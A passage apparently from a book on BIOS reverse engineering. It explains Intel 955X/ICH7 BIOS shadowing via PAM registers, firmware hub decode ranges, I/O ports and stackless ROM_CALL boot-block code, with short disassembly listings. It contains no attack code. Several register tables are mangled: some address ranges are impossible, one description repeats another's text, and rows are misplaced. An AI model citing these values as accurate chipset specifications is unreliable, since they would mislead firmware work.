The MCH\(^9\) allows programmable memory attributes on 13 legacy memory segments of various sizes in the 768- KB to 1-MB address range. Seven Programmable Attribute Map (PAM) registers support these features. Cache ability of these areas is controlled via the MTRR registers in the P6 processor. Two bits are used to specify memory attributes for each memory segment. These bits apply to both host accesses and PCI initiator accesses to the PAM areas. These attributes are:

RE (Read Enable). When RE=1, the processor read accesses to the corresponding memory segment are claimed by the MCH and directed to main memory. Conversely, when RE=0, the host read accesses are directed to PRIMARY PCI.\(^10\)

---

\(^7\) The memory controller is part of the northbridge in the Intel 955X chipset. However, for AMD64 systems, the memory controller is embedded in the processor.

\(^8\) This is address aliasing, i.e., using two or more address ranges in the system-wide memory map for the same address range in one physical device. In this particular sample, the F_0000h–F_FFFFh address range is aliased to FFFF_0000h–FFFF_FFFFh.

\(^9\) MCH in this datasheet snippet refers to the Intel 955X northbridge.

\(^10\) PRIMARY PCI in this context refers to the DMI as shown in figure 4.1.
WE (Write Enable). When WE=1, the processor write accesses to the corresponding memory segment are claimed by the MCH and directed to main memory. Conversely, when RE=0, the host read accesses are directed to PRIMARY PCI.

The RE and WE attributes permit a memory segment to be read only, write only, read/write, or disabled. For example, if a memory segment has RE = 1 and WE = 0, the segment is read only.

Each PAM Register controls two regions, typically 16 KB in size.

<table>
<thead>
<tr>
<th>Bit</th>
<th>Access &amp; Default</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>7:6</td>
<td>Reserved</td>
<td></td>
</tr>
<tr>
<td>5:4</td>
<td>R/W 00b</td>
<td><strong>0F_0000h–0F_FFFFh Attribute (HIENABLE):</strong> This field controls the steering of read and write cycles that addresses the BIOS area from 0F_0000h to 0F_FFFFh. 00 = DRAM Disabled: All accesses are directed to the DMI. 01 = Read Only: All reads are sent to DRAM. Writes are forwarded to the DMI. 10 = Write Only: All writes are sent to DRAM. Reads are serviced by DMI. 11 = Normal DRAM Operation: All reads and writes are serviced by DRAM.</td>
</tr>
<tr>
<td>3:0</td>
<td>Reserved</td>
<td></td>
</tr>
</tbody>
</table>

The highlighted part of the table in the preceding datasheet snippet shows that by default 0xF_0000–0xF_FFFF address range is "DRAM Disabled." This means that any read or write transactions to this address range are forwarded to the southbridge by the northbridge, not to the RAM. This is BIOS shadowing. Because of the northbridge setting, the BIOS ROM chip shadows part of the RAM, making the RAM in that address range inaccessible.

---

\[11\] The corresponding address range in the RAM.
Figure 4.3 Accessing the contents of the BIOS chip during use of the "DRAM Disabled" setting

The dashed red arrow in the figure 4.3 shows that read/write transactions to the BIOS ROM chip are forwarded from the CPU when register 90h of the Intel 955X northbridge is in the power-on default value. The power-on default value for the PAM0 register sets bit 4 and bit 5 to 0. Remember that this applies only when the CPU is accessing the 0xF_0000–0xF_FFFF address range.

---

12 The power-on default value for the PAM0 register sets bit 4 and bit 5 to 0.
The dashed red arrow in figure 4.4 shows that *read transactions* from the CPU are forwarded to the BIOS ROM chip via the northbridge and the southbridge. The dashed blue arrow shows that *write transactions* are forwarded to the system RAM via the northbridge. Both transactions occurred when the value of bit 4 is 0b and that of bit 5 is 1b in the northbridge’s 90h register. This register setting is called "Write Only." Remember that this applies only when the CPU is accessing the 0xF0000–0xF_FFFF address range.
Figure 4.5 Accessing the contents of the BIOS chip during use of the "Read Only" setting

The dashed blue arrow in figure 4.5 shows that write transactions from the CPU are forwarded to the BIOS ROM chip via the northbridge and the southbridge. The dashed red arrow shows that read transactions are forwarded to the system RAM via the northbridge. Both transactions occurred when the value of bit 4 is 1b and bit 5 is 0b in the northbridge's register 90h. This register setting is called "Read Only." Remember that this applies only when the CPU is accessing the 0xF_0000–0xF_FFFF address range.
Figure 4.6 Accessing the contents of the BIOS chip during “normal DRAM operation” setting

The dashed red arrow in figure 4.6 shows that read and write transactions from the CPU are forwarded to the system RAM chip via the northbridge. Both transactions occurred when the value of bit 4 is 1b and that of bit 5 is 1b in the northbridge’s 90h register. This register setting is called “Normal DRAM Operation.” Remember that this applies only when the CPU is accessing the 0xF_0000–0xF_FFFF address range.

The previous figures show how BIOS shadowing works for the last BIOS segment. Other segments work in a similar way. It’s just the register, control bits position, or both that differ. This conclusion holds true even for different chipsets and different bus architecture.

The preceding explanations seem to indicate that any code will be able to write into the BIOS ROM chip once the northbridge grants write access to the BIOS ROM chip. However, this is not the case. In practice, the BIOS ROM chip has a write protection mechanism that needs to be disabled before any code can write into it. Then, what do all of the preceding explanations mean? They mean that the mechanism is provided for BIOS shadowing purposes, i.e., not for altering BIOS contents. For example, when a code in the BIOS sets the PAM control register to “write only,” it can read part of the BIOS directly
from the BIOS ROM chip and subsequently copies that value to the same address within
the system RAM, because every write operation is forwarded to RAM.

In the case of Intel 955X-ICH7 motherboards, there is an additional logic that
controls BIOS ROM accesses in the southbridge (ICH7) for the last segment of the BIOS
chip, i.e., 0xF_0000-0xF_FFFF and its alias 0xFFFF_0000-0xFFFF_FFFF. Thus, accesses
to this last segment are forwarded to the BIOS chip by the southbridge if the corresponding
control registers enable the address decoding for the target address range. Nevertheless, the
power-on default value in ICH7 enables the decoding of all address ranges possibly used by
the BIOS chip. This can be seen from the ICH7 datasheet, page 373, section 10.1.28. The
values of this register are reproduced in table 4.2.

<table>
<thead>
<tr>
<th>Bit</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>15</td>
<td>FWH_F8_EN—RO. This bit enables decoding of two 512-KB firmware hub memory ranges and one 128-KB memory range. 0 = Disable  1 = Enable the following ranges for the firmware hub: FFF80000h–FFFFFFFFFFh  FFB80000h–FFBFFFFFFFh</td>
</tr>
<tr>
<td>14</td>
<td>FWH_F0_EN—R/W. Enables decoding of two 512-KB firmware hub memory ranges. 0 = Disable  1 = Enable the following ranges for the firmware hub: FFF00000h–FFFFFFFFFFh  FFB00000h–FFBFFFFFFFh</td>
</tr>
<tr>
<td>13</td>
<td>FWH_E8_EN—R/W. Enables decoding of two 512-KB firmware hub memory ranges. 0 = Disable  1 = Enable the following ranges for the firmware hub: FFE80000h–FFFFFFFFFFh  FFA80000h–FFAFFFFFFFh</td>
</tr>
<tr>
<td>12</td>
<td>FWH_E0_EN—R/W. Enables decoding of two 512-KB firmware hub memory ranges. 0 = Disable  1 = Enable the following ranges for the firmware hub: FFE00000h–FFFFFFFFFFh  FFA00000h–FFAFFFFFFFh</td>
</tr>
<tr>
<td>11</td>
<td>FWH_D8_EN—R/W. Enables decoding of two 512-KB firmware hub memory ranges. 0 = Disable  1 = Enable the following ranges for the firmware hub: FFD80000h–FFFFFFFFFFh  FFA900000h–FFAFFFFFFFh</td>
</tr>
<tr>
<td>10</td>
<td>FWH_D0_EN—R/W. Enables decoding of two 512-KB firmware hub memory ranges. 0 = Disable  1 = Enable the following ranges for the firmware hub: FFD00000h–FFFFFFFFFFh  FFA90000h–FFAFFFFFFFh</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>---</td>
<td>---</td>
</tr>
</tbody>
</table>
| 9 |   | **FWH_C8_EN**—R/W. Enables decoding of two 512-KB firmware hub memory ranges.  
0 = Disable  
1 = Enable the following ranges for the firmware hub:  
FFC80000h–FFCF0000h  
FF800000h–FF8FFFFFh |   |   |   |   |   |
| 8 |   | **FWH_C0_EN**—R/W. Enables decoding of two 512-KB firmware hub memory ranges.  
0 = Disable  
1 = Enable the following ranges for the firmware hub:  
FF000000h–FF7FFFFFh  
FFB000000h–FFB7FFFFFh |   |   |   |   |   |
| 7 |   | **FWH_Legacy_F_EN**—R/W. Enables decoding of the legacy 128-KB range at F0000h–FFFFFh.  
0 = Disable  
1 = Enable the following ranges for the firmware hub:  
F0000h–FFFFFh |   |   |   |   |   |
| 6 |   | **FWH_Legacy_E_EN**—R/W. Enables decoding of the legacy 128-KB range at E0000h–FFFFFh.  
0 = Disable  
1 = Enable the following ranges for the firmware hub:  
E0000h–FFFFFh |   |   |   |   |   |
| 5:4 |   | Reserved |   |   |   |   |   |
| 3 |   | **FWH_70_EN**—R/W. Enables decoding of two 1-MB firmware hub memory ranges.  
0 = Disable  
1 = Enable the following ranges for the firmware hub:  
FF70 0000h–FF7F FFFFh  
FF30 0000h–FF3F FFFFh |   |   |   |   |   |
| 2 |   | **FWH_60_EN**—R/W. Enables decoding of two 1-MB firmware hub memory ranges.  
0 = Disable  
1 = Enable the following ranges for the firmware hub:  
FF60 0000h–FF6F FFFFh  
FF20 0000h–FF2F FFFFh |   |   |   |   |   |
| 1 |   | **FWH_50_EN**—R/W. Enables decoding of two 1-MB firmware hub memory ranges.  
0 = Disable  
1 = Enable the following ranges for the firmware hub:  
FF50 0000h–FF5F FFFFh  
FF10 0000h–FF1F FFFFh |   |   |   |   |   |
| 0 |   | **FWH_40_EN**—R/W. Enables decoding of two 1-MB firmware hub memory ranges.  
0 = Disable  
1 = Enable the following ranges for the firmware hub:  
FF40 0000h–FF4F FFFFh  
FF00 0000h–FF0F FFFFh |   |   |   |   |   |

Table 4.2 Firmware hub decode enable register explanation
Any read or write accesses to address ranges shown in table 4.2 can be terminated in the southbridge, i.e., not forwarded to the BIOS ROM chip if the firmware hub Decode Control register bits value prevents the address ranges from being included in the ROM chip select signal decode.

From the preceding chipsets analysis, you can conclude that the northbridge is responsible for system address space management, i.e., BIOS shadowing, handling accesses to RAM, and forwarding any transaction that uses the BIOS ROM as its target to the southbridge, which then is eventually forwarded to the BIOS ROM by the southbridge. Meanwhile, the southbridge is responsible for enabling the ROM decode control, which will forward (or not) the memory addresses to be accessed to the BIOS ROM chip. The addresses shown in table 4.3 can reside either in the system DRAM or in the BIOS ROM chip, depending on the southbridge and northbridge register setting at the time the BIOS code is executed.

<table>
<thead>
<tr>
<th>Physical Address</th>
<th>Also Known As</th>
<th>Used by</th>
<th>Address Aliasing Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>000F_0000h–000F_FFFFh</td>
<td>F_seg/F_segment</td>
<td>1 Mb, 2 Mb, and 4 Mb BIOS</td>
<td>Alias to FFFF_0000h–FFFF_FFFFh in all chipsets just after power-up</td>
</tr>
<tr>
<td>000E_0000h–000E_FFFFh</td>
<td>E_seg/E_segment</td>
<td>1 Mb, 2 Mb, and 4 Mb BIOS</td>
<td>Alias to FFFE_0000h–FFFF_FFFFh in some chipsets just after power-up</td>
</tr>
</tbody>
</table>

Table 4.3 BIOS ROM chip address mapping

The address ranges shown in table 4.3 contain the BIOS code, which is system specific. Therefore, you have to consult the chipset datasheets to understand it. Also, note that the preceding address that will be occupied by the BIOS code during runtime\(^\text{14}\) is only the F_seg\(^\text{15}\) i.e., 0xF_0000–0xF_FFFF. Nevertheless, certain operating systems\(^\text{16}\) might “trash”\(^\text{17}\) this address and use it for their purposes. The addresses written in table 4.3 only reflect the addressing of the BIOS ROM chip to the system address space when it’s set to be accessed by the BIOS code or another code that accesses the BIOS ROM chip directly.

The motherboard chipsets are responsible for the mapping of a certain BIOS ROM chip area to the system address space. As shown, this mapping can be changed by programming certain chipset registers. A BIOS chip with a capacity greater than 1 Mb (i.e., 2-Mb and 4-Mb chips) has quite different addressing for its lower BIOS area (i.e., C_seg, D_seg, and other lower segments). In most cases, these areas are mapped to the near-4-GB

\(^{14}\) After the BIOS code executes.
\(^{15}\) From this point on, F_seg will refer to the F_0000h–F_FFFFh address range.
\(^{16}\) Mostly embedded operating systems.
\(^{17}\) Overwrite everything in the corresponding address range.
address range. This address range is handled by the northbridge analogous to the PCI address range.

The conclusion is that modern-day chipsets perform emulation for F_seg and E_seg handling. This is a proof that modern-day x86 systems maintains backward compatibility. As a note, most x86 chipsets use this address aliasing scheme, at least for the F-segment address range, and most chipsets only provide the default addressing scheme for the F-segment just after power-up in its configuration registers while other BIOS ROM segments remain inaccessible. The addressing scheme for these segments is configured later by the boot block code by altering the related chipset registers (in most cases, the southbridge registers).

The principles explained previously hold true for systems from ISA Bus to modern-day systems, which connect the BIOS ROM chip to the southbridge through the LPC interface Intel has introduced.

4.1.2. Obscure Hardware Ports

Some obscure hardware ports may not be documented in the chipset datasheets. However, the chipset implies that those ports are already industry standard ports, and, indeed, they are. Thus, some datasheets don't describe them. However, chipset datasheets from Intel are helpful in this matter. They always include an explanation of those ports. I present some of those ports here. I strongly recommend that you read Intel or other chipset datasheets for further information.

<table>
<thead>
<tr>
<th>I/O Port address</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>92h</td>
<td>Fast A20 and Init Register</td>
</tr>
<tr>
<td>4D0h</td>
<td>Master PIC Edge/Level Triggered (R/W)</td>
</tr>
<tr>
<td>4D1h</td>
<td>Slave PIC Edge/Level Triggered (R/W)</td>
</tr>
</tbody>
</table>

Table 146. RTC I/O Registers

<table>
<thead>
<tr>
<th>I/O Port Locations</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>70h and 74h</td>
<td>Also alias to 72h and 76h Real-Time Clock (Standard RAM) Index Register</td>
</tr>
<tr>
<td>71h and 75h</td>
<td>Also alias to 73h and 77h Real-Time Clock (Standard RAM) Target Register</td>
</tr>
<tr>
<td>72h and 76h</td>
<td>Extended RAM Index Register (if enabled)</td>
</tr>
<tr>
<td>73h and 77h</td>
<td>Extended RAM Target Register (if enabled)</td>
</tr>
</tbody>
</table>

NOTES:

I/O locations 70h and 71h are the standard ISA location for the real-time clock. The map for this bank is shown in Table 147. Locations 72h and 73h are for accessing the extended RAM. The extended RAM bank is also

18 From this point on, E_seg will refer to E_0000h–E_FFFFh address range.
accessed using an indexed scheme. I/O address 72h is used as the address pointer and I/O address 73h is used as the data register. Index addresses above 127h are not valid. If the extended RAM is not needed, it may be disabled.

Software must preserve the value of bit 7 at I/O addresses 70h. When writing to this address, software must first read the value, and then write the same value for bit 7 during the sequential address write. Note that port 70h is not directly readable. The only way to read this register is through Alt Access mode. If the NMI# enable is not changed during normal operation, software can alternatively read this bit once and then retain the value for all subsequent writes to port 70h.

The RTC contains two sets of indexed registers that are accessed using the two separate Index and Target registers (70/71h or 72/73h), as shown in Table 147.

Table 147. RTC (Standard) RAM Bank

<table>
<thead>
<tr>
<th>Index</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>00h</td>
<td>Seconds</td>
</tr>
<tr>
<td>01h</td>
<td>Seconds Alarm</td>
</tr>
<tr>
<td>02h</td>
<td>Minutes</td>
</tr>
<tr>
<td>03h</td>
<td>Minutes Alarm</td>
</tr>
<tr>
<td>04h</td>
<td>Hours</td>
</tr>
<tr>
<td>05h</td>
<td>Hours Alarm</td>
</tr>
<tr>
<td>06h</td>
<td>Day of Week</td>
</tr>
<tr>
<td>07h</td>
<td>Day of Month</td>
</tr>
<tr>
<td>08h</td>
<td>Month</td>
</tr>
<tr>
<td>09h</td>
<td>Year</td>
</tr>
<tr>
<td>0Ah</td>
<td>Register A</td>
</tr>
<tr>
<td>0Bh</td>
<td>Register B</td>
</tr>
<tr>
<td>0Ch</td>
<td>Register C</td>
</tr>
<tr>
<td>0Dh</td>
<td>Register D</td>
</tr>
<tr>
<td>0Eh–7Fh</td>
<td>114 Bytes of User RAM</td>
</tr>
</tbody>
</table>

Furthermore, the LPC bus specification defines the usage of motherboard-specific I/O resources. However, the LPC specification doesn't cover the usage of all motherboard I/O resources, i.e. I/O addresses 0000h—00FFh. Table 4.4 depicts the usage of I/O address ranges by LPC bus.

<table>
<thead>
<tr>
<th>Device</th>
<th>I/O Address Range Usage</th>
<th>I/O Address Range(s)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parallel port</td>
<td>1 of 3 ranges</td>
<td>378h—37Fh (+ 778h—77Fh for ECP)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>278h—27Fh (+ 678h—67Fh for ECP)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>3BCh—3BFh (+ 7BCh—7BFh for ECP)</td>
</tr>
<tr>
<td></td>
<td>Note: 279h is read only.Writes to 279h are forwarded to ISA for plug-and-play.</td>
<td></td>
</tr>
<tr>
<td>Serial ports</td>
<td>2 of 8 ranges</td>
<td>3F8h—3FFh, 2F8h—2FFh, 220h—227h, 228h—22Fh, 238h—23Fh, 2E8h—2EFh, 338h—33Fh, 3E8h—3FFh</td>
</tr>
<tr>
<td>Audio</td>
<td>1 of 4 ranges</td>
<td>SoundBlaster compatible: 220h—233h, 240h—253h, 260h—273h, 280h—293h</td>
</tr>
<tr>
<td>--------------------</td>
<td>---------------</td>
<td>-----------------------------------------------------------------------</td>
</tr>
<tr>
<td>Musical instrument digital interface</td>
<td>1 of 4 ranges</td>
<td>300h—301h, 310h—311h, 320h—321h, 330h—331h</td>
</tr>
<tr>
<td>Microsoft sound system</td>
<td>1 of 4 ranges</td>
<td>530h—537h, 604h—60Bh, E80h—E87, F40h—F47h</td>
</tr>
<tr>
<td>Floppy disk controller</td>
<td>1 of 2 ranges</td>
<td>3F0h—3F7h, 370h—377h</td>
</tr>
<tr>
<td>Game ports</td>
<td>2 1-byte ranges</td>
<td>Each mapped to any single byte in the 200h—20Fh range.</td>
</tr>
<tr>
<td>Wide generic</td>
<td></td>
<td>Can be mapped anywhere in the lower 64 KB. AC '97 and other configuration registers are expected to be mapped to this range. It is wide enough to allow many unforeseen devices to be supported.</td>
</tr>
<tr>
<td>Keyboard controller</td>
<td>60h and 64h</td>
<td></td>
</tr>
<tr>
<td>ACPI embedded controller</td>
<td>62h and 66h</td>
<td></td>
</tr>
<tr>
<td>Ad-lib</td>
<td>388h—389h</td>
<td></td>
</tr>
<tr>
<td>Super I/O configuration</td>
<td>2Eh—2Fh</td>
<td></td>
</tr>
<tr>
<td>Alternate super I/O configuration</td>
<td>4E—4Fh</td>
<td></td>
</tr>
</tbody>
</table>

**Table 4.4 LPC bus I/O address usage**

The super I/O configuration address range and its alternate address range are the most interesting among the I/O address ranges in table 4.4. In most circumstances, they are used to configure the chipset to enable access to the BIOS chip, besides being used for other super I/O–specific tasks.

### 4.1.3. Relocatable Hardware Ports

Several kinds of hardware ports are relocatable in the system I/O address space, including SMBus-related ports and power management–related ports. These ports have a certain base address. The so-called base address is controlled using the programmable base address register (BAR). SMBus has an SMBus BAR, and power management has a power management I/O BAR. Because these ports are programmable, the boot block routine initializes the value of the BARs in the beginning of routine BIOS execution. Because of
the programmable nature of these ports, you must start reverse engineering of the BIOS in
the boot block to find out which port addresses are used by these programmable hardware
ports. Otherwise, you will be confused by the occurrence of weird ports later in the reverse
engineering process. An example of this case provided in listing 4.1.

Listing 4.1 SMBus and ACPI BAR Initialization for VIA693A-596B

<table>
<thead>
<tr>
<th>Mnemonic</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>mov   si, 0F6C4h</td>
<td>Pointer to chipset mask byte and reg addr below</td>
</tr>
<tr>
<td>next_PCI_offset:</td>
<td></td>
</tr>
<tr>
<td>mov   cx, cs:[si]</td>
<td></td>
</tr>
<tr>
<td>mov   sp, 0F610h</td>
<td></td>
</tr>
<tr>
<td>jmp   BBloc_read_pci_byte</td>
<td></td>
</tr>
<tr>
<td>; -----------------------------------------------------------------------</td>
<td></td>
</tr>
<tr>
<td>dw 0F612h</td>
<td></td>
</tr>
<tr>
<td>; -----------------------------------------------------------------------</td>
<td></td>
</tr>
<tr>
<td>and   al, cs:[si+2]</td>
<td></td>
</tr>
<tr>
<td>or    al, cs:[si+3]</td>
<td></td>
</tr>
<tr>
<td>mov   sp, 0F620h</td>
<td></td>
</tr>
<tr>
<td>jmp   BBloc_write_PCI_byte</td>
<td></td>
</tr>
<tr>
<td>; -----------------------------------------------------------------------</td>
<td></td>
</tr>
<tr>
<td>dw 0F622h</td>
<td></td>
</tr>
<tr>
<td>; -----------------------------------------------------------------------</td>
<td></td>
</tr>
<tr>
<td>add   si, 4</td>
<td></td>
</tr>
<tr>
<td>cmp   si, 0F704h</td>
<td>Is this the last byte to write?</td>
</tr>
<tr>
<td>..........</td>
<td></td>
</tr>
<tr>
<td>mov   cx, 3B91h</td>
<td></td>
</tr>
<tr>
<td>mov   al, 50h</td>
<td>Set SMBus I/O Base hi_byte to 50h</td>
</tr>
<tr>
<td>; so that now SMBus I/O Base is at port 5000h</td>
<td></td>
</tr>
<tr>
<td>mov   sp, 0F658h</td>
<td></td>
</tr>
<tr>
<td>jmp   BBloc_write_PCI_byte</td>
<td></td>
</tr>
<tr>
<td>..........</td>
<td></td>
</tr>
<tr>
<td>mov   dx, 4005h</td>
<td>Access ACPI Reg 05h</td>
</tr>
<tr>
<td>mov   al, 80h</td>
<td></td>
</tr>
<tr>
<td>out   dx, al</td>
<td></td>
</tr>
<tr>
<td>..........</td>
<td></td>
</tr>
<tr>
<td>dw 3B48h</td>
<td>Power management I/O reg base addr</td>
</tr>
<tr>
<td>db   0</td>
<td>Pwr mgmt I/O reg base addr = lo-byte mask</td>
</tr>
<tr>
<td>db   0</td>
<td>Pwr mgmt I/O reg base addr = lo-byte value</td>
</tr>
<tr>
<td>dw 3B49h</td>
<td>Pwr mgmt I/O reg base addr</td>
</tr>
<tr>
<td>db   40h ; 0</td>
<td>and mask</td>
</tr>
<tr>
<td>db   40h ; 0</td>
<td>Pwr mgmt I/O base addr = I/O Port 4000h</td>
</tr>
</tbody>
</table>

There are more relocatable hardware ports than those described here. But at least
you’ve been given the hints about them. Thus, once you find code in the BIOS that seems to
be accessing weird ports, you know where to go.

Before closing this subsection, I would like to remind you that there are
relocatable registers in the memory address space. However, you saw in chapter 1 that these
registers pertain to the new bus protocols, i.e., PCI Express and HyperTransport. Thus, the explanation won't be repeated here.

4.1.4. Expansion ROM Handling

There are more things to take into account, such as the video BIOS and other expansion ROM handling. The video BIOS is an expansion ROM; thus, it's handled in a way similar to that for other expansion ROMs. The basic rundown of PCI expansion ROM handling during boot is as follows:

1. The system BIOS detects all PCI chips in the system and initialize the BARs. Once the initialization completes, the system will have a usable system-wide addressing scheme.
2. The system BIOS then copies the implemented PCI expansion ROM into RAM one by one in the expansion ROM area, using the system-wide addressing scheme, and executes them there until all PCI expansion ROM have been initialized.

4.2. BIOS Binary Structure

The logical structure of the BIOS binary as it fits the overall system address map is depicted in figure 4.7.

---

20 The expansion ROM area in RAM is the C000:0000h–D000:FFFFh address range.
21 System address map in this context is mapping of the memory address space.
You learned in previous sections that x86 systems start execution at address 0xFFFF_FFF0. In figure 4.7, it is located in the boot block area. This area is the uncompressed part of the BIOS binary. Hence, the processor can directly execute the code located there. Other areas in the BIOS chip are occupied by padding bytes, compressed BIOS components, and some checksums. This is the general structure of modern-day BIOS, regardless of vendor.

The boot block contains the code used to verify the checksums of the compressed BIOS component and the code used to decompress them. The boot block also contains early hardware testing and initialization code.

The part of the BIOS that takes care of most initialization tasks, i.e., POST, is called the system BIOS. In Award BIOS, this component sometimes is called original.tmp by BIOS hackers because of the name of the compressed system BIOS. The system BIOS is jumped into by the boot block after the boot block finishes its task. Note that the system BIOS manages other compressed BIOS components during its execution. It does so by decompressing, relocating, and executing the decompressed version of those components as needed.

4.3. Software Peculiarities

There are some tricky areas in the BIOS code because of the execution of some of its parts in ROM. I present some of my findings here.
4.3.1. call Instruction Peculiarity

The call instruction is not available during BIOS code execution within the BIOS ROM chip. This is because the call instruction manipulates the stack when there is no writeable area in the BIOS ROM chip to be used for the stack. What I mean by manipulating the stack is that the implicit push instruction is executed by the call instruction to save the return address in the stack. As you know, the address pointed to by ss:sp register pair at this point is in ROM, meaning you can't write into it. So why don't you use the RAM altogether? The DRAM chip is not even available at this point. It hasn't been tested by the BIOS code. Thus, you don't even know if RAM exists! There is a workaround for this issue. It is called cache-as-RAM. However, it only works in contemporary processors. I will delve into it later.

4.3.2. retn Instruction Peculiarity

There is a macro called ROM_CALL that's used for a stackless procedure call, i.e., calling a procedure without the existence of a stack. This has to be done during boot block execution because RAM is not available and the code is executed within the BIOS ROM chip. In some BIOSs, the called procedure returns to the calling procedure with the retn instruction. Let me explain how to accomplish it. Remember that the retn instruction uses the ss:sp register pair to point to the return address. See how this fact is used in the ROM_CALL macro (listing 4.2).

Listing 4.2 ROM_CALL Macro Definition

<table>
<thead>
<tr>
<th>ROM_CALL</th>
<th>MACRO</th>
<th>PROC_ADDR</th>
</tr>
</thead>
<tbody>
<tr>
<td>LOCAL</td>
<td>RET_ADDR</td>
<td></td>
</tr>
<tr>
<td>mov</td>
<td>sp, offset RET_ADDR</td>
<td></td>
</tr>
<tr>
<td>jmp</td>
<td>PROC_ADDR</td>
<td></td>
</tr>
<tr>
<td>RET_ADDR:</td>
<td>dw $+2</td>
<td></td>
</tr>
<tr>
<td></td>
<td>ENDM</td>
<td></td>
</tr>
</tbody>
</table>

An example of this macro in action is shown in listing 4.3.

Listing 4.3 ROM_CALL Macro Sample Implementation

<table>
<thead>
<tr>
<th>Address</th>
<th>Mnemonic</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>F000:61BC</td>
<td>mov cx, 6Bh</td>
<td>; DRAM arbitration control</td>
</tr>
</tbody>
</table>

22 The ss:sp register pair points to address in the BIOS ROM chip before the BIOS is shadowed and executed in RAM.
As you can see in listing 4.3, you have to take into account that the `retn` instruction is affected by the current value of the `ss:sp` register pair. However, the `ss` register is not even loaded with the correct 16-bit protected mode value before you use it!

How does this code even work? The answer is complicated. Look at the last time the `ss` register value was manipulated before the preceding code was executed (listing 4.4).

### Listing 4.4 Initial Value of ss in Boot Block

<table>
<thead>
<tr>
<th>Address</th>
<th>Mnemonic</th>
</tr>
</thead>
<tbody>
<tr>
<td>F000:E060</td>
<td>mov ax, cs</td>
</tr>
<tr>
<td>F000:E062</td>
<td>mov ss, ax</td>
</tr>
<tr>
<td>F000:E064</td>
<td>assume ss:F000</td>
</tr>
</tbody>
</table>

; Note: the routine above is executed in 16-bit real-mode

.........

F000:6043 DDTR_F000_6043 dw 18h ;
F000:6045 dd 0F6049h           ; GDT physical addr (below)
F000:6049 dq 0                ; Null descriptor
F000:6051 dq 9F0F0000FFFFh    ; Code descriptor:
F000:6051 ; base addr = F0000h
F000:6051 ; limit=FFFFh (64 KB)
F000:6051 ; DPL=0; exec/ReadOnly, conforming,
F000:6051 ; accessed
F000:6051 ; granularity = byte; Present;
F000:6051 ; 16-bit segment
F000:6059 dq 8F93000000FFFFh   ; Data descriptor:
F000:6059 ; base addr = 0000 0000h
F000:6059 ; segment_limit=F0000, i.e., 4 GB
F000:6059 ; (since granularity bit is set/is 4 KB)
Listing 4.4 at address F000:E062h shows that the \texttt{ss} register is loaded with F000h\textsuperscript{23}, this code implies that the hidden descriptor cache register\textsuperscript{24} is loaded with \texttt{ss}×16 or the F_0000h physical address value. This value is retained even when the machine is switched into 16-bit protected mode at address F000:61A8 in listing 4.4, because the \texttt{ss} register is not reloaded. A snippet from \textit{IA-32 Intel Architecture Software Developer's Manual Volume 3: System Programming Guide 2004} explains:

\[9.1.4. \textbf{First Instruction Executed}\]

The first instruction that is fetched and executed following a hardware reset is located at physical address FFFFFFF0H. This address is 16 bytes below the processor's uppermost physical address. The EPROM containing the software-initialization code must be located at this address. The address FFFFFFF0H is beyond the 1-MByte addressable range of the processor while in real-address mode. The processor is initialized to this starting address as follows. The \texttt{CS} [code segment] register has two parts: the visible segment selector part and the hidden base address part. In real address mode, the base address is normally formed by shifting the 16-bit segment selector.

\begin{itemize}
  \item \textsuperscript{23} F000h is the effective real-mode 16-bit segment in the example code.
  \item \textsuperscript{24} Each segment register has a corresponding descriptor cache.
\end{itemize}
value 4 bits to the left to produce a 20-bit base address. However, during a hardware reset, the segment selector in the CS register is loaded with F000H and the base address is loaded with FFFF0000H. The starting address is thus formed by adding the base address to the value in the EIP register (that is, FFFF0000 + FFF0H = FFFFFFF0H).

The first time the CS register is loaded with a new value after a hardware reset, the processor will follow the normal rule for address translation in real-address mode (that is, [CS base address = CS segment selector * 16]). To insure that the base address in the CS register remains unchanged until the EPROM-based software-initialization code is completed, the code must not contain a far jump or far call or allow an interrupt to occur (which would cause the CS selector value to be changed).

Also, a snippet from Doctor Dobb's Journal gives the following description (emphasis mine):

At power-up, the descriptor cache registers are loaded with fixed, default values, the CPU is in real mode, and all segments are marked as read/write data segments, including the code segment (CS). According to Intel, each time the CPU loads a segment register in real mode, the base address is 16 times the segment value, while the access rights and size limit attributes are given fixed, "real-mode compatible" values. This is not true. In fact, only the CS descriptor cache access rights get loaded with fixed values each time the segment register is loaded—and even then only when a far jump is encountered. Loading any other segment register in real mode does not change the access rights or the segment size limit attributes stored in the descriptor cache registers. For these segments, the access rights and segment size limit attributes are honored from any previous setting... Thus it is possible to have a four gigabyte, read-only data segment in real mode on the 80386, but Intel will not acknowledge, or support this mode of operation.

If you want to know more about descriptor cache and how it works, the most comprehensive guide can be found in one of the issues of Doctor Dobb's Journal and in IA-32 Intel Architecture Software Developer's Manual Volume 3: System Programming Guide 2004, section 3.4.2 ("Segment Registers").

Back to the ss register. Now, you know that the "actor" here is the descriptor cache register, particularly its base address part. The visible part of ss is only a placeholder and the "register in charge" for the real address translation is the hidden descriptor cache. Whatever you do to this descriptor cache will be in effect when any code, stack, or data value addresses are translated. In this case, you have to use stack segment with "base address" at the 0xF_0000 physical address in 16-bit protected mode. This is not a problem, because the base address part of the ss descriptor cache register already filled with 0xF_0000 at the beginning of boot block execution. This explains why the code in listing 4.3 can be executed flawlessly. Another example is shown in listing 4.5.
### Listing 4.5 another ROM_CALL Macro Sample Implementation

<table>
<thead>
<tr>
<th>Address</th>
<th>Mnemonic</th>
</tr>
</thead>
<tbody>
<tr>
<td>F000:61C9</td>
<td>and al, 0FEh</td>
</tr>
<tr>
<td>F000:61CB</td>
<td>mov sp, 61D1h</td>
</tr>
<tr>
<td>F000:61CE</td>
<td>jmp F000_6000_write_pci_byte</td>
</tr>
<tr>
<td>F000:61D1</td>
<td>dw 61D3h</td>
</tr>
<tr>
<td>F000:61D3</td>
<td>mov ax, 3</td>
</tr>
<tr>
